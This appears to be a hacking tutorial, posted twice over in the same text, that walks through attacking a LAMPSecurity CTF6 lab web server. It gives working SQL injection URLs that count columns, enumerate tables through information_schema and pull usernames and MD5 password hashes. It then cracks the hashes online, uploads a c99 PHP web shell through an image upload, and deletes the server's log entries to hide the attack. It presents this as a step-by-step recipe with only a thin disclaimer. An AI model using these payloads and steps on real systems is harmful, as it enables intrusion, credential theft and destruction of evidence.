Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s7Umxxy_AKxdBxLL6x_vHrUACHhEbL7hG4OXXwRSfwcEkJc_x7E2pAL1MFURbWHUpy-KIa23y41TjSqEuAxuA_q6ceHEycP-ODktVLDWcS_cC3iSrn4mMroSexuWzzPY-vTzsZib1RMiP371ct0KB9tNPn5ayhKLlD9o6n2jSfYTE4=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_svFLjCVAMCDmMkxwzHPCeoyj4b1XTOxPWeI74JlgGolbq4uorBlN_MsEr2ojpXpICKn4euPHUHw2980KE7P9m20vKB8r5Mrr2PFYRii36gAJ8SbHpKNc-EWuXGG-sxQzBuWThBg8mrdLKFx-VZw2mRfv3CYJsz2rwRxF2a--fN4owBRQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBV322Yfkv2l1V5exbJBqLAzK3GZOAl30HnlyGgJSkXHk6CophWeooiEhSd3Sl26b5bpDbz4e-79z6LCb0_DPhPCD9w8h_FRY9p89V-CmryqE5EHPaj7g-Pr1l6PQniA0wxEmiS6X5ZwprKq_vnL6BO7D5LjqY4asgNVEi3q0sMHtCqw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s5zd-M40rOEAI99ffuwJHugEKY6ZW0fRRdGMvYENHEY4a8eU0zOZsIjNFO8xl10Sgoi055fuazAH2vxQjAlKLTlB0HoIg-04u0aYvlAHXUksNddG5YRXKvaMeH4xG4rsLkoWepnBb7Jz5OJVFDIJzDh-E_cs7kbdDBEo-OyZhWTv9WAg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v-zNLGf9L61NZHbtiEjiYV5bCnA029IOlK1hwtm3gQ6leaj88i9U9ZiIAbfLFrpoT6ja8vzqNrNwn6ZEpP_1Y8IzB8T8UQw-CB2kWliEwEzWV4h8OV-yXZ54hAVhURUTb6oe_VS1x3DluSz_37b5zJhp7uKYKp1eYvHOFPS4Zlu6kzcg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_stwLiPuXDMgmgNyuChXnaWAmj8wwAWpbyqQ8wL58LBGNtltJDTcTQrB61DZno3o9C3qBNnwaw3sgycc-XuRE2y2T10xN-8BgUGmPlZCdS8zDMFFqgZbNyffuh0humUp6BjoGPMvITbn279X9jshhc76Z2J1l0hShgWgKEihCgHlLe9=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uxdwhugwK_KyxgZYyNvtgdTJBiuAPUj2hUSR7qJsbIPrNaKpXZS_Tp-tam4CeS9APSk4sMNH7rrk-YxVQ9jGvtNeokfnu7GTr8jpVA7xUWxVrKoefH0ckuPrhOHVNuFoaCqoCjBs77_-tfa798OUlYRTQGnyli7FjtQG4PocvlgkaDS4Y=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sPvM8mm8gmdAnkgmgQK10C-RKhFRWzkZ_PFbaHiGGx0fQIwxLq0IlXMgYoSdDzkvb5BLv79a-xR1VnjGR3GdezOSve4HXyNgucac9IX70f0E6pRpFtFAULP4etemTD45TmbmXSwZGUGc2YSaophB8hxZVQdPmNh48q09fHjsDDqwo_B80=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vksmbhwgy3D1at2FSc1k2gs-SkcQedBsMp1_yeF6vzWG800cQgIo5DEErKCIcR94BDAo6AHVDCeAdpuec-d8lCr-709U-FyTfD5kWNBxnH05RCMQ4zBPS7azrfZcZxAWO-6mU8r7ewIYhhxxTqtVKd9BAD5VN33-iVMj28DPFymxGn5_s=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQCzFMqYyFQ3ch8HsXBKBwnMn2h5q82cqRiiRSeMYGMKYC4Dh1xr1tK3XBYdXHqhnTxhNJM08VXtM3pt6QSCG9hw7JayofqSWSbDPcdvNTG1YgBk0k0KBeyrDpfNpcnYxP5pHhHHULcaPi2O84uVzLWe1FvvsjWa28jVuVWGNamNWp2AQ=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVpwjgyrd5zRimH0E5VwC-hb6eWsRjbjfzHhxgju41OybJ4SZ3cpGJOa5rj0m7MY1EIRclDDKeGe8HfX5n2IJDPDu_aks7JQbta4mnvi7Hh78sANieVriv2Qnv-ZUfNeGsKK4n-hnzi7nS5_VUfm9mqSH_Kaqne7G7Wp9tKqKeYFL_MQ=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uU22C7FQdPA5rVTKgivEb654ijcIHfhaaS8mA4b3aRqVsyWlMWjaPri9cGuT6ZVOAjOAjEDQmNt41ePHpQAkXLHX_62h3HdfxIUVJbasPsnJM7jCPEPlZzi2SqpWDXIMCiKqnEm3Dc_VOwjCTLgE7fLnlImtv1sekee83vdm3gwNP6T_Q=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vnCQ3UCE6A3dN6QzCE-5-BoP7-GtT0Bw_K4BcAAKYojDCVS0QDCTpWwjdIhawu4YA_caPT2loTOWuJX-tRCYtHTst_Vp4UFxowhc8QctadIcm0LtitMshFUkyK-fXj5hmIiOs3MECDSJN8jWlQXoH2cjYu8t_6emp1XWvlFExfkeA2YIU=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjPUnF_R1Zo8BkNs7M_cLFnw938nnvIMQ2rqAr34zMqQf6dZDfYiOJTQUsoqC387SM6l92U8C0Othg3sEuEP97rNOV01HEMFokqX4vjAimMfiT3C01cnZFYy6mIHuhHd0un7g9Z6ppjacoUabUNSdCUzU-4iAyKrQ53sbr1kKXvyqCYg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vIzD02wUCBhXPh5FUMCrjE4cXsvPyM70a6JJ5EMGboIEmF-z172_F-exqwUo7cH8KNkjSyWrFf9tzADAaIMSI84ZNitgOQXuZq92CclasT2iOEqxr5w6gWIlHobGfP0sOeCuXtYcsCiSSfeevoTGqmwEGsZjNDrJ9IeiMFEBy2elIbdQ=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBTHRh0HzYXs6xQ7PQY9eZ6mNtH2zyiHaqMQB3kjCjQS9HX2dk3r_Ps2oAaIbTrcRYbstIy1zNvgteRFf4g0h8Oxkz4QfHpSuuRqSOwXRAzs2mWtqNnx663Rxo1kN8LtPujWUZJRFkfxNaOv9TNHEIIQZTbkMiV9ChD0-sDxEKnm9IruM=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s3q72Bbc2Du0mKckwHAY2MGvPfeMHrxhQ3-pGeFm3JZ6BVjwh6GG1uBI_pKkOgrZp4NbR1zAzk6BYhLKa79xiKZ3HvhB1T8QNo9kvtQF4_Q7UDcn5NDVbh8wZOF1G7z0jV71B7egWU9FWFCxpd3j67irHxFD4c2emqI3HFiU9FB7DvoMA=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
